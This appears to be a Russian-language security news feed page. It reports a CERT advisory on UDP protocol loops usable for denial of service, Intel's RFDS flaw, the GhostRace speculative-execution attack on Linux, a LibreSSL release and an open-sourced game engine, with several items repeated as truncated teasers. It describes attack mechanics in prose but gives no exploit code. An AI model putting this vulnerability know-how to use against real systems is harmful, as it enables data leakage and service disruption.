Глобальное сканирование адресов в интернете показало, что в настоящее время в сети присутствует как минимум 23 тысячи уязвимых TFTP-серверов, 63 тысячи DNS-серверов, 89 тысяч NTP-серверов, 56 тысяч сервисов Echo/RFC862, 22 тысячи сервисов Chargen/RFC864 и 21 тысяча сервисов QOTD/RFC865. Предполагается, что в случае NTP-серверов наличие неисправленной уязвимости связано с использованием очень старых версий ntpd, выпущенных до 2010 года. Сервисы Echo, Chargen и QOTD уязвимы изначально в силу своей архитектуры. Ситуация с серверами TFTP и DNS требует разбирательства с их администраторами. Серверы atftpd и tftpd проблеме не подвержены, так как используют случайный номер исходного сетевого порта при отправке ответа. Из уязвимых DNS-серверов упоминается dproxy-nexgen. В продуктах Microsoft проблема проявляется в WDS (Windows Deployment Services), а в продуктах Cisco проблема присутствует в маршрутизаторах серий 2800 и 2970.
Координационный центр CERT (компьютерная группа реагирования на чрезвычайные ситуации), опубликовал предупреждение о серии уязвимостей в реализациях различных прикладных протоколов, использующих в качестве транспорта протокол UDP. Уязвимости могут использоваться для организации отказа в обслуживании из-за возможности зацикливания обмена пакетами между двумя хостами. Например, атакующие могут добиться исчерпания доступной...
Компания Intel раскрыла сведения о микроархитектурной уязвимости (CVE-2023-28746) в процессорах Intel Atom (E-core), позволяющей определить данные, используемые процессом, до этого выполнявшемся на том же ядре CPU. Уязвимость, которая получила кодовое имя RFDS (Register File Data Sampling), вызвана возможностью определения остаточной информации из регистровых файлов (RF, Register File) процессора, которые используются для совместного хранения содержимого регистров во всех задачах на том же ядре CPU.
Проблема выявлена инженерами Intel в ходе внутреннего аудита. Детальная информация о методе эксплуатации уязвимости не раскрывается. Утверждается, что атакующий не может целенаправленно управлять выбором процессов для извлечения данных, т.е. оседание доступной для извлечения информации носит случайный характер. Тем не менее, мониторинг остаточной информации может привести к утечке конфиденциальных данных из процессов других пользователей, ядра системы, виртуальных машин, анклавов SGX и обработчиков в режиме SMM.
Утечке подвержены векторные регистры, которые активно используются при шифровании, в функциях копирования памяти и при обработке строк, например, в функциях memcpy, strcmp и strlen. Утечка возможна и через регистры для хранения чисел с плавающей запятой и целых чисел, но они обновляются в процессе выполнения задач значительно чаще векторных регистров, поэтому утечка через них менее вероятна. Остаточные данные напрямую не остаются в регистрах, но могут извлекаться из регистровых файлов при помощи методов атак по сторонним каналам, таких как анализ данных в кэше CPU.
Уязвимость затрагивает только процессоры Atom на базе микроархитектур Alder Lake, Raptor Lake, Tremont, Goldmont и Gracemont. Так как уязвимые процессоры не поддерживают режим HyperThreading, утечка возможна только в рамках одного потока выполнения текущим ядром CPU. Изменения для блокирования уязвимости включены в состав обновления микрокода microcode-20240312-staging. Методы защиты от уязвимости идентичны тем, что уже применяются для блокирования ранее выявленных атак класса MDS (Microarchitectural Data Sampling), SRBDS (Special Register Buffer Data Sampling), TAA (Transactional Asynchronous Abort), DRPW (Device Register Partial Write) и SBDS (Shared Buffers Data Sampling).
Для блокирования утечки в ядре и гипервизорах помимо обновления микрокода требуется применение программных методов защиты, основанных на использовании инструкции VERW для очистки содержимого микроархитектурных буферов в момент возвращения из ядра в пространство пользователя или при передаче управления гостевой системе. Указанная зашита уже добавлена в гипервизор Xen и ядро Linux. Для включения защиты в ядре Linux можно использовать при загрузке ядра флаг "reg_file_data_sampling=on", а информацию о подверженности уязвимости и наличии необходимого для защиты микрокода можно оценить в файле "/sys/devices/system/cpu/vulnerabilities/reg_file_data_sampling".
Компания Intel раскрыла сведения о микроархитектурной уязвимости (CVE-2023-28746) в процессорах Intel Atom (E-core), позволяющей определить данные, используемые процессом, до этого выполнявшемся на том же ядре CPU. Уязвимость, которая получила кодовое имя RFDS (Register File Data Sampling), вызвана возможностью определения остаточной информации из
Группа исследователей из Амстердамского свободного университета и компании IBM разработала новый вариант атаки на механизм спекулятивного выполнения в современных процессорах, получивший кодовое имя GhostRace (CVE-2024-2193). Проблема проявляется в процессорах, производимых компаниями Intel, AMD, ARM и IBM. Для демонстрации принципов проведения атаки опубликован прототип эксплоита, позволяющий извлекать данные из памяти ядра Linux с производительностью 12 Кб в секунду при уровне надёжности, типичном для атак класса Spectre. При проведении атак на системы виртуализации, атакующий из гостевой системы может определить содержимое памяти хост-окружения или других гостевых систем.
Предложенный метод атаки манипулирует возникновением в спекулятивном режиме состояний гонки, способных привести к обращению к уже освобождённым областям памяти, в случае неверного прогнозирования процессором ветвления в коде, в котором осуществляются условные операции с примитивами синхронизации потоков, такими как mutex и spinlock. Возникающие спекулятивные обращения к памяти после определения неверного предсказания отбрасываются процессором, но следы их выполнения оседают в процессорном кэше и могут затем быть извлечены при помощи анализа по сторонним каналам.
По аналогии с эксплуатацией уязвимостей Spectre v1 для осуществления атаки GhostRace требуется наличие в ядре определённых последовательностей инструкций (гаджетов), приводящих к спекулятивному выполнению кода в зависимости от внешних условий, на которые может влиять атакующий. В целях оптимизации процессор начинает выполнять подобные гаджеты в спекулятивном режиме, но потом определяет, что предсказание ветвления не оправдалось и откатывает операции в исходное состояние.
Гаджет образуется, например, из участков кода, в которых состояние проверяется в бесконечном цикле и осуществляется выход из цикла после снятия блокировки доступа к ресурсу. Соответственно, при спекулятивном выполнении инструкций можно добиться ложного срабатывания перехода и выполнения защищённого блокировкой набора инструкций, несмотря на то, что фактически блокировка ресурса остаётся неснятой.
При анализе кода ядра Linux 5.15.83 исследователями выявлено 1283 гаджета, приводящих к спекулятивному обращению к уже освобождённой памяти (SCUAF - Speculative Concurrent Use-After-Free). Потенциально атака может быть совершена на системы виртуализации, любые ядра ОС и программы, в которых примитивы синхронизации потоков проверяются с использованием условных операторов, а код выполняется на платформах допускающих спекулятивное выполнение операций ветвления (x86, ARM, RISC-V и т.п.).
Для блокирования атаки предлагается использовать сериализацию примитивов синхронизации, т.е. добавление процессорной инструкции LFENCE после команды cmpxchq, проверяющей состояние блокировки. Предложенный для включения в ядро Linux метод защиты приводит к снижению производительности приблизительно на 5% при прохождении теста LMBench, так как вызов LFENCE запрещает упреждающее выполнение следующих инструкций, до того как будет завершена фиксация всех предыдущих операций.
Разработчики ядра Linux и компании-производители CPU были уведомлены о проблеме в конце 2023 года. Компания AMD опубликовала отчёт о наличии уязвимости, в котором рекомендовала использовать типовые приёмы защиты от атак класса Spectre v1. Компании Intel и ARM пока не отреагировали. Разработчики ядра Linux в ближайшем будущем не намерены использовать предложенный метод сериализации примитивов синхронизации из-за снижения производительности, но уже реализовали необходимые ограничения для защиты от сопутствующей техники эксплуатации IPI Storming (Inter-Process Interrupt Storming) (CVE-2024-26602), которая применяется в эксплоите для прерывания процесса в нужный момент (наводнение ядра CPU прерываниями, мешающими завершению сработавшего во время работы процесса обработчика прерываний) с целью предоставления временного окна для осуществления спекулятивного обращения к уже освобождённой памяти.
Несмотря на то что в гипервизоре Xen пока не выявлено вызывающие утечку гаджеты, разработчики Xen подготовили изменения с реализацией защищённого механизма блокировок LOCK_HARDEN, похожего на ранее добавленный метод защиты BRANCH_HARDEN. Из-за возможного негативного влияния на производительность, а также отсутствия подтверждений возможности совершения атаки на Xen, режим LOCK_HARDEN отключён по умолчанию.
Группа исследователей из Амстердамского свободного университета и компании IBM разработала новый вариант атаки на механизм спекулятивного выполнения в современных процессорах, получивший кодовое имя GhostRace (
Разработчики проекта OpenBSD представили выпуск переносимой редакции пакета LibreSSL 3.9.0, в рамках которого развивается форк OpenSSL, нацеленный на обеспечение более высокого уровня безопасности. Проект LibreSSL ориентирован на качественную поддержку протоколов SSL/TLS с удалением излишней функциональности, добавлением дополнительных средств защиты и проведением значительной чистки и переработки кодовой базы. Выпуск LibreSSL 3.9.0 рассматривается как экспериментальный, в котором развиваются возможности, которые войдут в состав OpenBSD 7.5. Одновременно сформирован стабильный выпуск LibreSSL 3.8.3, в котором исправлено несколько специфичных для Windows ошибок и усилена поддержка механизма защиты CET (Control-flow Enforcement Technology).
Особенности LibreSSL 3.9.0:
- Добавлена поддержка алгоритмов цифровой подписи на базе ECDSA с хэшами SHA-3.
- Добавлена поддержка HMAC с усечёнными хэшами SHA-2 и SHA-3 в качестве PBE PRF.
- Внесены изменения для улучшения переносимости на другие платформы. Для избежания проблем при статическим связывании большая часть используемых для обеспечения совместимости экспортируемых символов LibreSSL снабжена префиксом "libressl_". В сборках на базе CMake прекращён экспорт compat-символов libcrypto.
- Внесены изменения, нацеленные на улучшение совместимости с OpenSSL. Например, добавлены имена-псевдонимы ChaCha20 и chacha20 для алгоритма ChaCha, унифицирована работа функций SSL_library_init() и OPENSSL_init_ssl(), приведены к поведению OpenSSL вызовы EVP_{CIPHER,MD}_CTX_init().
- В утилиту openssl добавлена поддержка флагов "-new -force_pubkey", "-multivalue-rdn", "-set_issuer", "-set_subject" и "-utf8".
- Осуществлён переход с использования вызова OBJ_bsearch_() на стандартную функцию bsearch().
- Упрощена реализация функции by_file_ctrl(), EVP_Cipher{Init,Update,Final}() и API OBJ_*.
- Проведена большая реорганизация API EVP. Удалены функции EVP_add_{cipher,digest}().
- Упрощена обработка X509_TRUST.
- Переписаны функции BIO_dump*().
- Прекращена поддержка глобальных таблиц, не адаптированных для многопоточного использования. В связи с этим теперь не поддерживается назначение псевдонимов шифрам и хэшам, добавление собственных строк, методов ASN.1, PKEY и CRL.
- Удалены функции BIO_set(), BIO_{sn,v,vsn}printf(), sk_find_ex() и OBJ_bsearch_(), а также множество устаревших функций API CRYPTO.
- Прекращён публичный доступ к API X509_CERT_AUX и X509_TRUST.
- Прекращена поддержка алгоритмов GOST и STREEBOG.
- Расширена поддержка механизма CET (Control-flow Enforcement Technology), применяемого для защиты от выполнения эксплоитов, построенных с использованием приёмов возвратно-ориентированного программирования (ROP, Return-Oriented Programming).
Разработчики проекта OpenBSD представили выпуск переносимой редакции пакета LibreSSL 3.9.0, в рамках которого развивается форк OpenSSL, нацеленный на обеспечение более высокого уровня безопасности. Проект LibreSSL ориентирован на качественную поддержку протоколов SSL/TLS с удалением излишней функциональности, добавлением дополнительных средств защиты и проведением значительной чистки и переработки кодовой базы. Выпуск LibreSSL 3.9.0 рассматривается...
Ассоциация K-D Lab открыла исходный код игрового движка qdEngine, предназначенного для создания квестов. Весь код, за исключением сторонних библиотек, опубликован под лицензией GPLv3. Движок поддерживает платформу Windows 10 и может быть протестирован с ресурсами из игры "Похождения бравого солдата Швейка".
На основе опубликованного движка были созданы следующие игры:
- Братья Пилоты 3D. Дело об Огородных вредителях
- Братья Пилоты 3D-2. Тайны Клуба Собаководов
- Братья Пилоты. Обратная сторона Земли
- Карлик Нос
- Мама не горюй
- Ну, погоди! Выпуск 3. Песня для зайца
- Похождения бравого солдата Швейка
- Три маленькие белые мышки. Визит Морской крысы
- Три маленькие белые мышки. День рождения морской крысы
Ассоциация K-D Lab открыла исходный код игрового движка qdEngine, предназначенного для создания квестов. Весь код, за исключением сторонних библиотек, опубликован под лицензией GPLv3. Движок поддерживает платформу Windows 10 и может быть протестирован с ресурсами из игры "Похождения бравого солдата Швейка".
Gregory's Server
